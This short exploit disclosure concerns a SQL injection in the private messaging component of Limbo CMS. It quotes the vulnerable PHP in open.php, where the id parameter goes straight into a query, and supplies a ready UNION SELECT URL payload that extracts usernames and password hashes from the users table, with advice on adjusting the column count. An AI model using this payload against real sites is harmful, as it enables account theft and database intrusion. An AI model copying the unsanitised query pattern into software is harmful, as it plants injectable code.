/* Limbo CMS (Private Messaging Component) Remote SQL Injection Vulnerability -------------------------------------------------------------------------- StAkeR[at]hotmail[dot]it http://www.limboportal.com/index.php/option/downloads/task/download/id/108 -------------------------------------------------------------------------- com_privmsg/open.php 31. if (isset($_GET['status'])) 32. { 33. header('Location:index.php?option=pms&page=open&id='.$_GET['id'].''); 34. } 35. 36. $openrow= $conn->GetRow("SELECT * FROM #__pms WHERE id='$_GET[id]' AND username='$my->username'"); 37. - index.php?option=pms&page=open&id='1+union+all+select+password,username+from+[prefix_users]+where+id=1/* (Syntax Error) Change number of columns (Ex: 0,0,0,username,password) */